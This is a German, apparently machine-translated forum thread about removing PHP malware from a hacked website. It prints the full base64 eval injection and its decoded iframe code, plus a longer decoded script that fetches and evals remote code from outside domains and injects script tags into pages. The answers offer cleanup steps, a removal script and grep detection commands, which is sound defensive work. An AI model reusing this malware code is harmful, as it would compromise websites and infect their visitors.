it-swarm.com.de

Wie wird eval-base64_decode entfernt? PHP Virusdateien?

Meine Website (sehr große Community-Website) wurde kürzlich mit einem Virus infiziert. Jede index.php-Datei wurde so geändert, dass das öffnende PHP-Tag dieser Dateien in die folgende Zeile geändert wurde:

<?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGRpdiBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtMTk5OXB4OyB0b3A6IC0yOTk5cHg7Ij48aWZyYW1lIHNyYz0iaHR0cDovL2x6cXFhcmtsLmNvLmNjL1FRa0ZCd1FHRFFNR0J3WUFFa2NKQlFjRUFBY0RBQU1CQnc9PSIgd2lkdGg9IjIiIGhlaWdodD0iMiI+PC9pZnJhbWU+PC9kaXY+JzsNCn0='));

Als ich das entschlüsselt habe, wurde folgender PHP Code erzeugt:

    <?php
error_reporting(0);
$bot = FALSE ;
$user_agent_to_filter = array('bot','spider','spyder','crawl','validator','Slurp','docomo','yandex','mail.ru','Alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api');
$stop_ips_masks = array(
    array("216.239.32.0","216.239.63.255"),
    array("64.68.80.0"  ,"64.68.87.255"  ),
    array("66.102.0.0",  "66.102.15.255"),
    array("64.233.160.0","64.233.191.255"),
    array("66.249.64.0", "66.249.95.255"),
    array("72.14.192.0", "72.14.255.255"),
    array("209.85.128.0","209.85.255.255"),
    array("198.108.100.192","198.108.100.207"),
    array("173.194.0.0","173.194.255.255"),
    array("216.33.229.144","216.33.229.151"),
    array("216.33.229.160","216.33.229.167"),
    array("209.185.108.128","209.185.108.255"),
    array("216.109.75.80","216.109.75.95"),
    array("64.68.88.0","64.68.95.255"),
    array("64.68.64.64","64.68.64.127"),
    array("64.41.221.192","64.41.221.207"),
    array("74.125.0.0","74.125.255.255"),
    array("65.52.0.0","65.55.255.255"),
    array("74.6.0.0","74.6.255.255"),
    array("67.195.0.0","67.195.255.255"),
    array("72.30.0.0","72.30.255.255"),
    array("38.0.0.0","38.255.255.255")
    );
$my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR']));
foreach ( $stop_ips_masks as $IPs ) {
    $first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1]));
    if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;}
}
foreach ($user_agent_to_filter as $bot_sign){
    if  (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;}
}
if (!$bot) {
echo '<div style="position: absolute; left: -1999px; top: -2999px;"><iframe src="http://lzqqarkl.co.cc/QQkFBwQGDQMGBwYAEkcJBQcEAAcDAAMBBw==" width="2" height="2"></iframe></div>';
}

Ich habe mehrere Schritte unternommen, um den Virus zu entfernen, selbst wenn er von einem Backup wiederhergestellt wurde, und die Dateien werden nach einigen Minuten oder Stunden erneut infiziert. Kannst du mir bitte helfen?

Was weißt du über dieses Virus?

Gibt es eine bekannte Sicherheitslücke, die zum Installieren und Verbreiten verwendet wird?

Was macht der obige PHP-Code eigentlich?

Was macht die im iframe eingebettete Seite?

Und natürlich noch wichtiger: Was kann ich tun, um es loszuwerden?

Bitte helfen Sie uns, wir haben fast keine Ideen mehr und hoffen :(

UPDATE1 Einige weitere Details: Eine seltsame Sache ist: Wenn wir die infizierten Dateien zuerst geprüft haben. Sie wurden geändert, aber ihre modifizierte Zeit im ftp-Programm zeigte in einigen Fällen, dass der letzte Zugriff Tage, Monate oder sogar Jahre war! Wie ist das überhaupt möglich? Es macht mich verrückt!

UPDATE 2 Ich denke, das Problem wurde ausgelöst, nachdem ein Benutzer ein Plugin in seiner Wordpress-Installation installiert hatte. Nach dem Wiederherstellen aus dem Backup und dem vollständigen Löschen des Wordpress-Ordners und der zugehörigen Datenbank scheint das Problem behoben zu sein. Wir haben derzeit einen Sicherheitsdienst abonniert, und sie untersuchen das Problem, um sicherzugehen, dass der Hack endgültig verschwunden ist. Danke für jeden, der geantwortet hat.

36
fractalbit

Schritte zum Wiederherstellen und Desinfizieren Ihrer Site (vorausgesetzt, Sie verfügen über eine bekannte Sicherung).

1) Schließen Sie die Site

Sie müssen grundsätzlich die Tür zu Ihrem Standort schließen, bevor Sie die Abhilfemaßnahmen durchführen. Dadurch wird verhindert, dass Besucher böswilligen Code erhalten, Fehlermeldungen usw. sehen. Nur gute Praxis.

Sie sollten dazu in der Lage sein, indem Sie Folgendes in Ihre .htaccess -Datei in der Webroot einfügen. (Ersetzen Sie "!! Ihre IP-Adresse hier !!" durch Ihre eigene IP-Adresse - siehe http://icanhazip.com wenn Sie Ihre IP-Adresse nicht kennen.)

order deny,allow
deny from all
allow from !!Your IP Address Here!!

2) Laden Sie eine Kopie aller Dateien vom Server herunter

Laden Sie alles in einen separaten Ordner von Ihren guten Backups herunter. Dies kann eine Weile dauern (abhängig von der Größe Ihrer Site, der Verbindungsgeschwindigkeit usw.).

3) Laden Sie ein Dienstprogramm zum Vergleichen von Dateien und Ordnern herunter und installieren Sie es

Auf einem Windows-Computer können Sie WinMerge - http://winmerge.org/ - verwenden, es ist kostenlos und ziemlich leistungsfähig ..__ Auf einem MacOS-Computer können Sie die Liste der möglichen Alternativen von Alternative.to überprüfen

4) Führen Sie das Datei/Ordner-Vergleichsprogramm aus

Sie sollten mit ein paar unterschiedlichen Ergebnissen enden:

  • Dateien sind identisch - Die aktuelle Datei entspricht der Sicherung und ist daher nicht betroffen.
  • Datei nur auf der linken/rechten Seite - Diese Datei ist entweder nur in der Sicherung vorhanden (und wurde möglicherweise vom Server gelöscht) oder nur auf dem Server (und wurde möglicherweise vom Hacker eingefügt/erstellt).
  • Datei ist anders - Die Datei auf dem Server stimmt nicht mit der Datei in der Sicherung überein. Sie wurde daher möglicherweise von Ihnen geändert (um sie für den Server zu konfigurieren) oder vom Hacker (um Code einzufügen).

5) Beseitigen Sie die Unterschiede

(a.k.a "Warum können wir nicht einfach alle miteinander auskommen?")}

Bei Dateien, die identisch sind, ist keine weitere Aktion erforderlich .. _. Bei Dateien, die nur auf einer Seite vorhanden sind, überprüfen Sie die Datei und finden Sie heraus, ob sie legitim sind (dh Benutzer müssen hochzuladen) dort können Sie zusätzliche Dateien hinzufügen, die Sie möglicherweise hinzugefügt haben, usw ..). Für Unterschiedliche Dateien sehen Sie sich die Datei an (das Dienstprogramm File Difference zeigt Ihnen möglicherweise sogar an, welche Zeilen hinzugefügt/geändert/entfernt wurden) und sieht ob die Serverversion gültig ist. Überschreiben Sie (mit der gesicherten Version) alle Dateien, die schädlichen Code enthalten.

6) Überprüfen Sie Ihre Sicherheitsvorkehrungen

Ob dies so einfach ist wie das Ändern Ihrer FTP-/cPanel-Kennwörter oder die Überprüfung externer oder unkontrollierter Ressourcen (wie Sie bereits erwähnen, dass Sie viele Fgets, Fopens usw. ausführen), möchten Sie vielleicht die Parameter überprüfen, die als solche übergeben werden ist ein Weg, um Skripte dazu zu bringen, bösartigen Code einzuspeisen) usw.

7) Überprüfen Sie die Site Works

Nehmen Sie die Gelegenheit wahr, die einzige Person zu sein, die auf die Website schaut, um sicherzustellen, dass alles weiterhin wie erwartet funktioniert, nachdem die infizierten Dateien korrigiert und schädliche Dateien entfernt wurden.

8) Öffnen Sie die Türen

Kehren Sie die in Schritt 1. in der Datei .htaccess vorgenommenen Änderungen um. Beobachten Sie sie sorgfältig. Behalten Sie Ihre Besucher- und Fehlerprotokolle im Auge, um zu sehen, ob jemand versucht, die entfernten schädlichen Dateien usw. auszulösen.

9) Erwägen Sie automatisierte Erkennungsmethoden

Es gibt einige Lösungen, mit denen Sie eine automatisierte Überprüfung Ihres Hosts (unter Verwendung eines CRON-Jobs) durchführen lassen, die alle auftretenden Änderungen erkennt und ausführlich beschreibt. Einige sind ein wenig ausführlich (Sie erhalten für jede geänderte Datei eine E-Mail), aber Sie sollten in der Lage sein, sie an Ihre Bedürfnisse anzupassen:

10) Planen Sie Backups und bewahren Sie eine gute Klammer auf

Vergewissern Sie sich, dass auf Ihrer Website Sicherungen geplant sind. Behalten Sie einige davon, damit Sie bei Bedarf verschiedene Schritte zurücklegen können. Wenn Sie beispielsweise wöchentliche Sicherungen durchführen, möchten Sie möglicherweise Folgendes beibehalten:

  • 4 x wöchentliche Sicherungen
  • 4 x monatliche Backups (Sie behalten eines der wöchentlichen Backups, möglicherweise die erste Woche des Monats, als monatliches Backup)

Dies macht das Leben immer einfacher, wenn jemand Ihre Website mit etwas zerstörerischem als einem Code-Injection-Angriff angreift.

Oh, und stellen Sie sicher, dass Sie auch Ihre Datenbanken sichern - mit einer Vielzahl von Websites, die auf CMSes basieren, sind die Dateien nett, aber wenn Sie die dahinterliegende Datenbank verlieren oder beschädigen, sind die Sicherungen im Grunde unbrauchbar.

48
Luke Stevenson

Ich hatte den gleichen Hackjob. Ich konnte auch den Code entschlüsseln, und während ich anderen PHP-Code bekam, entfernte ich zunächst den eingefügten PHP-Text, indem ich durch jede PHP-Datei in der Site eine Schleife durchführte und den eval-Aufruf entfernte. Ich untersuche immer noch, wie ich es anfangen konnte, aber so sah meins nach dem Entschlüsseln von dieser Website aus:

Um das verschlüsselte PHP-Skript in jeder PHP-Datei zu entschlüsseln, verwenden Sie Folgendes: http://www.opinionatedgeek.com/dotnet/tools/base64decode/

Und das Ergebnis mit diesem Typ formatieren: http://beta.phpformatter.com/

Zum Bereinigen müssen Sie die "eval" -Zeile oben in jeder PHP-Datei entfernen und die .log-Ordner aus dem Basisordner der Website löschen.

Ich habe ein Python-Skript gefunden, das ich leicht modifiziert habe, um den Trojaner in PHP-Dateien zu entfernen. Ich werde es hier posten, damit andere es verwenden können: Quellcode aus Thread: ALLE Instanzen eines Zeichens in allen Dateien hierarchisch durch ein anderes ersetzen im Verzeichnisbaum

import os
import re
import sys

def try_to_replace(fname):
    if replace_extensions: 
        return fname.lower().endswith(".php")
    return True


def file_replace(fname, pat, s_after):
    # first, see if the pattern is even in the file.
    with open(fname) as f:
        if not any(re.search(pat, line) for line in f):
            return # pattern does not occur in file so we are done.

    # pattern is in the file, so perform replace operation.
    with open(fname) as f:
        out_fname = fname + ".tmp"
        out = open(out_fname, "w")
        for line in f:
            out.write(re.sub(pat, s_after, line))
        out.close()
        os.rename(out_fname, fname)


def mass_replace(dir_name, s_before, s_after):
    pat = re.compile(s_before)
    for dirpath, dirnames, filenames in os.walk(dir_name):
        for fname in filenames:
            if try_to_replace(fname):
                print "cleaning: " + fname
                fullname = os.path.join(dirpath, fname)
                file_replace(fullname, pat, s_after)

if len(sys.argv) != 2:
    u = "Usage: rescue.py <dir_name>\n"
    sys.stderr.write(u)
    sys.exit(1)

mass_replace(sys.argv[1], "eval\(base64_decode\([^.]*\)\);", "")

typ verwenden

python rescue.py rootfolder

Das bösartige Skript versuchte dies zu tun:

<?php

if (function_exists('ob_start') && !isset($_SERVER['mr_no'])) {
    $_SERVER['mr_no'] = 1;
    if (!function_exists('mrobh')) {
        function get_tds_777($url)
        {
            $content = "";
            $content = @trycurl_777($url);
            if ($content !== false)
                return $content;

            $content = @tryfile_777($url);
            if ($content !== false)
                return $content;
            $content = @tryfopen_777($url);
            if ($content !== false)
                return $content;
            $content = @tryfsockopen_777($url);
            if ($content !== false)
                return $content;
            $content = @trysocket_777($url);
            if ($content !== false)
                return $content;
            return '';
        }

        function trycurl_777($url)
        {
            if (function_exists('curl_init') === false)
                return false;
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_TIMEOUT, 5);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            $result = curl_exec($ch);
            curl_close($ch);
            if ($result == "")
                return false;
            return $result;
        }
        function tryfile_777($url)
        {
            if (function_exists('file') === false)
                return false;
            $inc = @file($url);
            $buf = @implode('', $inc);
            if ($buf == "")
                return false;
            return $buf;
        }
        function tryfopen_777($url)
        {
            if (function_exists('fopen') === false)
                return false;
            $buf = '';
            $f   = @fopen($url, 'r');
            if ($f) {
                while (!feof($f)) {
                    $buf .= fread($f, 10000);
                }
                fclose($f);
            } else
                return false;
            if ($buf == "")
                return false;
            return $buf;
        }
        function tryfsockopen_777($url)
        {
            if (function_exists('fsockopen') === false)
                return false;
            $p    = @parse_url($url);
            $Host = $p['Host'];
            $uri  = $p['path'] . '?' . $p['query'];
            $f    = @fsockopen($Host, 80, $errno, $errstr, 30);
            if (!$f)
                return false;
            $request = "GET $uri HTTP/1.0\n";
            $request .= "Host: $Host\n\n";
            fwrite($f, $request);
            $buf = '';
            while (!feof($f)) {
                $buf .= fread($f, 10000);
            }
            fclose($f);
            if ($buf == "")
                return false;
            list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf);
            return $buf;
        }
        function trysocket_777($url)
        {
            if (function_exists('socket_create') === false)
                return false;
            $p    = @parse_url($url);
            $Host = $p['Host'];
            $uri  = $p['path'] . '?' . $p['query'];
            $ip1  = @gethostbyname($Host);
            $ip2  = @long2ip(@ip2long($ip1));
            if ($ip1 != $ip2)
                return false;
            $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
            if ([email protected]_connect($sock, $ip1, 80)) {
                @socket_close($sock);
                return false;
            }
            $request = "GET $uri HTTP/1.0\n";
            $request .= "Host: $Host\n\n";
            socket_write($sock, $request);
            $buf = '';
            while ($t = socket_read($sock, 10000)) {
                $buf .= $t;
            }
            @socket_close($sock);
            if ($buf == "")
                return false;
            list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf);
            return $buf;
        }
        function update_tds_file_777($tdsfile)
        {
            $actual1 = $_SERVER['s_a1'];
            $actual2 = $_SERVER['s_a2'];
            $val     = get_tds_777($actual1);
            if ($val == "")
                $val = get_tds_777($actual2);
            $f = @fopen($tdsfile, "w");
            if ($f) {
                @fwrite($f, $val);
                @fclose($f);
            }
            if (strstr($val, "|||CODE|||")) {
                list($val, $code) = explode("|||CODE|||", $val);
                eval(base64_decode($code));
            }
            return $val;
        }
        function get_actual_tds_777()
        {
            $defaultdomain = $_SERVER['s_d1'];
            $dir           = $_SERVER['s_p1'];
            $tdsfile       = $dir . "log1.txt";
            if (@file_exists($tdsfile)) {
                $mtime = @filemtime($tdsfile);
                $ctime = time() - $mtime;
                if ($ctime > $_SERVER['s_t1']) {
                    $content = update_tds_file_777($tdsfile);
                } else {
                    $content = @file_get_contents($tdsfile);
                }
            } else {
                $content = update_tds_file_777($tdsfile);
            }
            $tds = @explode("\n", $content);
            $c   = @count($tds) + 0;
            $url = $defaultdomain;
            if ($c > 1) {
                $url = trim($tds[mt_Rand(0, $c - 2)]);
            }
            return $url;
        }
        function is_mac_777($ua)
        {
            $mac = 0;
            if (stristr($ua, "mac") || stristr($ua, "safari"))
                if ((!stristr($ua, "windows")) && (!stristr($ua, "iphone")))
                    $mac = 1;
            return $mac;
        }
        function is_msie_777($ua)
        {
            $msie = 0;
            if (stristr($ua, "MSIE 6") || stristr($ua, "MSIE 7") || stristr($ua, "MSIE 8") || stristr($ua, "MSIE 9"))
                $msie = 1;
            return $msie;
        }
        function setup_globals_777()
        {
            $rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
            $mz = "/tmp/";
            if ([email protected]_dir($rz)) {
                @mkdir($rz);
                if (@is_dir($rz)) {
                    $mz = $rz;
                } else {
                    $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
                    if ([email protected]_dir($rz)) {
                        @mkdir($rz);
                        if (@is_dir($rz)) {
                            $mz = $rz;
                        }
                    } else {
                        $mz = $rz;
                    }
                }
            } else {
                $mz = $rz;
            }
            $bot = 0;
            $ua  = $_SERVER['HTTP_USER_AGENT'];
            if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
                $bot = 1;
            if (stristr($ua, "bingbot") || stristr($ua, "google"))
                $bot = 1;
            $msie = 0;
            if (is_msie_777($ua))
                $msie = 1;
            $mac = 0;
            if (is_mac_777($ua))
                $mac = 1;
            if (($msie == 0) && ($mac == 0))
                $bot = 1;
            global $_SERVER;
            $_SERVER['s_p1']     = $mz;
            $_SERVER['s_b1']     = $bot;
            $_SERVER['s_t1']     = 1200;
            $_SERVER['s_d1']     = base64_decode('http://ens122zzzddazz.com/');
            $d                   = '?d=' . urlencode($_SERVER["HTTP_Host"]) . "&p=" . urlencode($_SERVER["PHP_SELF"]) . "&a=" . urlencode($_SERVER["HTTP_USER_AGENT"]);
            $_SERVER['s_a1']     = base64_decode('http://cooperjsutf8.ru/g_load.php') . $d;
            $_SERVER['s_a2']     = base64_decode('http://nlinthewood.com/g_load.php') . $d;
            $_SERVER['s_script'] = "nl.php?p=d";
        }
        setup_globals_777();
        if (!function_exists('gml_777')) {
            function gml_777()
            {
                $r_string_777 = '';
                if ($_SERVER['s_b1'] == 0)
                    $r_string_777 = '<script src="' . get_actual_tds_777() . $_SERVER['s_script'] . '"></script>';
                return $r_string_777;
            }
        }
        if (!function_exists('gzdecodeit')) {
            function gzdecodeit($decode)
            {
                $t     = @ord(@substr($decode, 3, 1));
                $start = 10;
                $v     = 0;
                if ($t & 4) {
                    $str = @unpack('v', substr($decode, 10, 2));
                    $str = $str[1];
                    $start += 2 + $str;
                }
                if ($t & 8) {
                    $start = @strpos($decode, chr(0), $start) + 1;
                }
                if ($t & 16) {
                    $start = @strpos($decode, chr(0), $start) + 1;
                }
                if ($t & 2) {
                    $start += 2;
                }
                $ret = @gzinflate(@substr($decode, $start));
                if ($ret === FALSE) {
                    $ret = $decode;
                }
                return $ret;
            }
        }
        function mrobh($content)
        {
            @Header('Content-Encoding: none');
            $decoded_content = gzdecodeit($content);
            if (preg_match('/\<\/body/si', $decoded_content)) {
                return preg_replace('/(\<\/body[^\>]*\>)/si', gml_777() . "\n" . '$1', $decoded_content);
            } else {
                return $decoded_content . gml_777();
            }
        }
        ob_start('mrobh');
    }
}

?> 
2
Erion Omeri

Um diese schädlichen PHP zu entfernen, müssen Sie sie einfach entfernen. Wenn die Datei infiziert ist, müssen Sie nur den verdächtigen Teil entfernen.

Es ist immer schwierig, diese Dateien zu finden, denn in Ihrem Webstamm befinden sich normalerweise mehrere.

Wenn Sie irgendeine Art von Verschleierung sehen, ist dies in der Regel ein roter Alarm für Sie.

Die meisten Malware sind auf der Grundlage der üblichen Funktionen, die sie verwenden, leicht zu finden. Dazu gehören:

  • base64_decode,
  • lzw_decompress,
  • eval,
  • und so weiter

Durch die Verwendung des Codierungsformats komprimieren sie ihre Größe und machen es für nicht erfahrene Benutzer schwieriger, sie zu decodieren.

Hier sind einige grep-Befehle, die den häufigsten Code für Malware PHP finden:

grep -R return.*base64_decode  .
grep --include=\*.php -rn 'return.*base64_decode($v.\{6\})' .

Sie können diese Befehle auf dem Server oder nach dem Synchronisieren Ihrer Website auf Ihrem lokalen Computer ausführen (über FTP, z. B. ncftpget -R).

Oder verwenden Sie Scan-Tools, die speziell zum Auffinden dieser Art von schädlichen Dateien entwickelt wurden, siehe: PHP Sicherheits-Scanner .

Zu Schulungszwecken finden Sie die folgende Sammlung von PHP - Exploit-Skripts, die bei der Untersuchung von gehackten Servern unter kenorb/php-exploit-scripts GitHub (beeinflusst durch @Mattias Originalsammlung ) gefunden werden. Dadurch werden Sie verstehen, wie diese PHP verdächtigen Dateien aussehen, sodass Sie lernen können, wie Sie weitere Dateien auf Ihrem Server finden.

Siehe auch: Was macht dieses bösartige PHP Skript?

2
kenorb

Schließen Sie zuerst Ihre Site, bis Sie herausfinden können, wie er eingegangen ist und wie Sie sie beheben können. Es sieht so aus, als würde es Malware für Ihre Kunden bereitstellen.

Durchsuchen Sie als Nächstes Ihre PHP-Dateien nach Fgets, Fopen, Fputs, Eval oder System. Ich empfehle Notepad ++ wegen der Funktion "In Dateien suchen". Stellen Sie außerdem sicher, dass nur PHP geändert wurde. Haben Sie eine Offline-Kopie zum Vergleich?

2
Nick ODell

Meine Websites/oder Websites, die ich hoste, wurden mehrmals mit ähnlichen Angriffen getroffen.

Ich präsentiere, was ich getan habe, um das Problem zu lösen. Ich behaupte nicht, dass es der beste/einfachste Ansatz ist, aber es funktioniert und seitdem kann ich den Ball proaktiv in meinem Feld halten.

  1. löse das Problem ASAP Ich habe ein sehr einfaches PHP Skript erstellt (es wurde geschrieben, als das Eisen heiß war, daher ist es vielleicht nicht der am besten optimierte Code, aber es löst das Problem ziemlich schnell): http : //www.ecommy.com/web-security/clean-php-filesfrom-eval-infection

  2. stellen Sie sicher, dass Sie wissen, wann so etwas wieder zuschlägt. Hacker verwenden alle möglichen Ansätze von SQL-Injection eines Ihrer externen Module, die Sie installieren, um Ihr Admin-Panel mit Wörterbuchangriffen oder bekannten Passwortmustern wie 1qaz ... qwerty .... etc ....__ brutal zu erzwingen Präsentieren Sie die Skripts hier: http://www.ecommy.com/web-security/scan-for-malware-viruses-and-php-eval-based-infections

  3. der cron-Eintrag würde ungefähr so ​​aussehen: 0 2 * * 5/root/scripts/base64eval_scan>/dev/null 2> & 1 &

Ich habe die Seiten aktualisiert, damit jemand die Dateien direkt herunterladen kann. Ich hoffe es wird für Sie nützlich sein, da es für mich ist :)

0
Radu
  1. Stellen Sie sicher, dass gängige Webanwendungen wie Wordpress oder vBulletin aktualisiert werden. Bei den alten Versionen gibt es viele Angriffe, die dazu führen können, dass Ihr Server gefährdet wird. Dies kann wahrscheinlich erneut vorkommen, wenn sie nicht aktualisiert werden. Bis zur Fertigstellung ist dies nicht sinnvoll.

  2. Wenn die Dateien immer wieder ersetzt werden, läuft im Hintergrund ein Rootkit oder ein Trojaner. Diese Datei kann sich nicht selbst replizieren. Sie müssen zuerst das Rootkit entfernen. Probieren Sie rkhunter , chkrootkit und LMD ​​ aus. Vergleichen Sie die Ausgabe von ps aux mit einem sicheren Server und überprüfen Sie /var/tmp und /tmp auf verdächtige Dateien. Möglicherweise müssen Sie das Betriebssystem neu installieren. 

  3. Stellen Sie sicher, dass alle Arbeitsstationen, die den Server verwalten, auf dem neuesten Stand und sauber sind. Stellen Sie keine Verbindung über unsichere Funkverbindungen her oder verwenden Sie die Klartext-Authentifizierung wie bei FTP (verwenden Sie stattdessen SFTP). Melden Sie sich nur mit https in den Kontrollfeldern an. 

  4. Um zu verhindern, dass dies erneut geschieht, führen Sie csf oder eine vergleichbare Firewall aus, scannen Sie täglich LMD ​​ und bleiben Sie mit den neuesten Sicherheitspatches für alle Anwendungen auf dem Server auf dem Laufenden.

0
reflexiv